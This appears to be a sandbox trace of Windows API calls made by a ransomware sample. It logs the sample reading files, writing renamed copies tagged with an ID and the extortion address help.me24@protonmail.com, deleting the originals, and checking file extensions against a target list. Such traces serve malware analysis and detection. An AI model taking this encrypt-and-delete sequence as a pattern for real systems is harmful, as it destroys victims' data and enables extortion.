	[0097.274] WriteFile (in: hFile=0x368, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x3690, lpOverlapped=0x0) returned 1
	[0097.275] ReadFile (in: hFile=0x300, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0097.275] WriteFile (in: hFile=0x368, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0097.275] SetEndOfFile (hFile=0x368) returned 1
	[0097.276] CloseHandle (hObject=0x368) returned 1
	[0097.276] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.276] SetEndOfFile (hFile=0x300) returned 1
	[0097.277] CloseHandle (hObject=0x300) returned 1
	[0097.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0097.277] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 1
	[0097.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0097.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0097.277] lstrlenW (lpString=".doc") returned 4
	[0097.277] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0097.277] lstrlenW (lpString=".docx") returned 5
	[0097.277] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0097.277] lstrlenW (lpString=".pdf") returned 4
	[0097.277] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0097.277] lstrlenW (lpString=".xls") returned 4
	[0097.277] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0097.277] lstrlenW (lpString=".xlsx") returned 5
	[0097.277] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0097.277] lstrlenW (lpString=".ppt") returned 4
	[0097.278] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0097.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0097.278] lstrlenW (lpString=".zip") returned 4
	[0097.278] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0097.278] lstrlenW (lpString=".rar") returned 4
	[0097.278] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0097.278] lstrlenW (lpString=".bz2") returned 4
	[0097.278] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0097.278] lstrlenW (lpString=".7z") returned 3
	[0097.278] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0097.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0097.278] lstrlenW (lpString=".dbf") returned 4
	[0097.278] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0097.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0097.278] lstrlenW (lpString=".1cd") returned 4
	[0097.278] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0097.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0097.278] lstrlenW (lpString=".jpg") returned 4
	[0097.278] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0097.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0097.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0097.278] lstrlenW (lpString=".doc") returned 4
	[0097.278] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0097.278] lstrlenW (lpString=".docx") returned 5
	[0097.278] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0097.278] lstrlenW (lpString=".pdf") returned 4
	[0097.278] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0097.278] lstrlenW (lpString=".xls") returned 4
	[0097.278] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0097.278] lstrlenW (lpString=".xlsx") returned 5
	[0097.278] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0097.278] lstrlenW (lpString=".ppt") returned 4
	[0097.278] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0097.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0097.278] lstrlenW (lpString=".zip") returned 4
	[0097.279] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0097.279] lstrlenW (lpString=".rar") returned 4
	[0097.279] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0097.279] lstrlenW (lpString=".bz2") returned 4
	[0097.279] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0098.127] lstrlenW (lpString=".7z") returned 3
	[0098.137] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0098.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0098.154] lstrlenW (lpString=".dbf") returned 4
	[0098.154] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0098.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0098.154] lstrlenW (lpString=".1cd") returned 4
	[0098.154] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0098.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0098.154] lstrlenW (lpString=".jpg") returned 4
	[0098.155] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0098.155] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0098.155] lstrlenW (lpString="J0099170.WMF") returned 12
	[0098.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0098.155] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=24292) returned 1
	[0098.155] CloseHandle (hObject=0x364) returned 1
	[0098.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 0x220
	[0098.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0098.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0098.156] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0098.156] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0098.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0098.157] GetLastError () returned 0x0
	[0098.157] ReadFile (in: hFile=0x364, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x5ee4, lpOverlapped=0x0) returned 1
	[0098.303] WriteFile (in: hFile=0x390, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x5ef0, lpOverlapped=0x0) returned 1
	[0098.304] ReadFile (in: hFile=0x364, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0098.304] WriteFile (in: hFile=0x390, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0098.304] SetEndOfFile (hFile=0x390) returned 1
	[0098.304] CloseHandle (hObject=0x390) returned 1
	[0098.304] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0098.304] SetEndOfFile (hFile=0x364) returned 1
	[0098.305] CloseHandle (hObject=0x364) returned 1
	[0098.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0098.306] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 1
	[0098.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0098.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0098.306] lstrlenW (lpString=".doc") returned 4
	[0098.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0098.306] lstrlenW (lpString=".docx") returned 5
	[0098.306] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0098.306] lstrlenW (lpString=".pdf") returned 4
	[0098.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0098.306] lstrlenW (lpString=".xls") returned 4
	[0098.306] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0098.306] lstrlenW (lpString=".xlsx") returned 5
	[0098.306] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0098.306] lstrlenW (lpString=".ppt") returned 4
	[0098.306] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0098.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0098.306] lstrlenW (lpString=".zip") returned 4
	[0098.306] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0098.306] lstrlenW (lpString=".rar") returned 4
	[0098.306] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0098.306] lstrlenW (lpString=".bz2") returned 4
	[0098.306] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0098.306] lstrlenW (lpString=".7z") returned 3
	[0098.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0098.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0098.306] lstrlenW (lpString=".dbf") returned 4
	[0098.306] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0098.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0098.307] lstrlenW (lpString=".1cd") returned 4
	[0098.307] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0098.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0098.307] lstrlenW (lpString=".jpg") returned 4
	[0098.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0098.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0098.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0098.307] lstrlenW (lpString=".doc") returned 4
	[0098.307] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0098.307] lstrlenW (lpString=".docx") returned 5
	[0098.307] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0098.307] lstrlenW (lpString=".pdf") returned 4
	[0098.307] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0098.307] lstrlenW (lpString=".xls") returned 4
	[0098.307] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0098.307] lstrlenW (lpString=".xlsx") returned 5
	[0098.307] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0098.307] lstrlenW (lpString=".ppt") returned 4
	[0098.307] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0098.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0098.307] lstrlenW (lpString=".zip") returned 4
	[0098.307] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0098.307] lstrlenW (lpString=".rar") returned 4
	[0098.307] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0098.307] lstrlenW (lpString=".bz2") returned 4
	[0098.307] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0098.307] lstrlenW (lpString=".7z") returned 3
	[0098.307] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0098.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0098.307] lstrlenW (lpString=".dbf") returned 4
	[0098.307] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0098.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0098.307] lstrlenW (lpString=".1cd") returned 4
	[0098.307] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0098.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0098.308] lstrlenW (lpString=".jpg") returned 4
	[0098.308] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0098.308] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0098.308] lstrlenW (lpString="J0099171.WMF") returned 12
	[0098.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0098.308] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=8754) returned 1
	[0098.308] CloseHandle (hObject=0x364) returned 1
	[0098.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf")) returned 0x220
	[0098.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0098.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0098.309] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0098.309] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0098.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0098.310] GetLastError () returned 0x0
	[0098.310] ReadFile (hFile=0x364, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0) 

Thread:
	id = 12
	os_tid = 0xea0

	[0068.649] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10000) returned 0x30c0930
	[0068.650] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10000) returned 0x30d0938
	[0068.650] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x559350
	[0068.650] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x6) returned 0x59e258
	[0068.650] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x559368
	[0068.650] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x100000) returned 0x32cc020
	[0068.653] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x559380
	[0068.653] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x559380, Size=0x20) returned 0x53e9a0
	[0068.653] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x559380
	[0068.653] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x559380, Size=0x20) returned 0x53eb30
	[0068.654] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76750000
	[0068.654] GetProcAddress (hModule=0x76750000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76766b30
	[0068.654] Wow64DisableWow64FsRedirection (in: OldValue=0x2d4ff50 | out: OldValue=0x2d4ff50*=0x0) returned 1
	[0068.654] lstrlenW (lpString="kernel32.dll") returned 12
	[0068.654] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53e9a0 | out: hHeap=0x500000) returned 1
	[0068.654] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0068.654] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53eb30 | out: hHeap=0x500000) returned 1
	[0068.654] Sleep (dwMilliseconds=0x64) 
	[0068.984] lstrcmpiW (lpString1=".log", lpString2=".Z9") returned -1
	[0068.984] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37
	[0068.984] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0069.190] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=42674) returned 1
	[0069.191] CloseHandle (hObject=0x2c4) returned 1
	[0069.191] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 0x20
	[0069.191] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0069.191] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0069.191] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.191] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.192] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0069.192] GetLastError () returned 0x0
	[0069.192] ReadFile (in: hFile=0x2c4, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0xa6b2, lpOverlapped=0x0) returned 1
	[0069.261] WriteFile (in: hFile=0x2bc, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xa6c0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xa6c0, lpOverlapped=0x0) returned 1
	[0069.263] ReadFile (in: hFile=0x2c4, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.263] WriteFile (in: hFile=0x2bc, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0069.263] SetEndOfFile (hFile=0x2bc) returned 1
	[0069.263] CloseHandle (hObject=0x2bc) returned 1
	[0069.265] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.265] SetEndOfFile (hFile=0x2c4) returned 1
	[0069.266] CloseHandle (hObject=0x2c4) returned 1
	[0069.266] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0069.267] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 1
	[0069.267] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0069.267] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0069.267] lstrlenW (lpString=".doc") returned 4
	[0069.267] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0069.267] lstrlenW (lpString=".docx") returned 5
	[0069.267] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1
	[0069.267] lstrlenW (lpString=".pdf") returned 4
	[0069.267] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1
	[0069.267] lstrlenW (lpString=".xls") returned 4
	[0069.267] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1
	[0069.267] lstrlenW (lpString=".xlsx") returned 5
	[0069.267] lstrcmpiW (lpString1=".xlsx", lpString2="6.log") returned -1
	[0069.267] lstrlenW (lpString=".ppt") returned 4
	[0069.267] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1
	[0069.267] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0069.267] lstrlenW (lpString=".zip") returned 4
	[0069.267] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1
	[0069.267] lstrlenW (lpString=".rar") returned 4
	[0069.267] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1
	[0069.267] lstrlenW (lpString=".bz2") returned 4
	[0069.267] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0069.267] lstrlenW (lpString=".7z") returned 3
	[0069.267] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0069.267] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0069.267] lstrlenW (lpString=".dbf") returned 4
	[0069.268] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0069.268] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0069.268] lstrlenW (lpString=".1cd") returned 4
	[0069.268] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0069.268] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0069.268] lstrlenW (lpString=".jpg") returned 4
	[0069.268] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1
	[0069.268] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0069.268] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0069.268] lstrlenW (lpString=".doc") returned 4
	[0069.268] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0069.268] lstrlenW (lpString=".docx") returned 5
	[0069.268] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1
	[0069.268] lstrlenW (lpString=".pdf") returned 4
	[0069.268] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1
	[0069.268] lstrlenW (lpString=".xls") returned 4
	[0069.268] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1
	[0069.268] lstrlenW (lpString=".xlsx") returned 5
	[0069.268] lstrcmpiW (lpString1=".xlsx", lpString2="6.log") returned -1
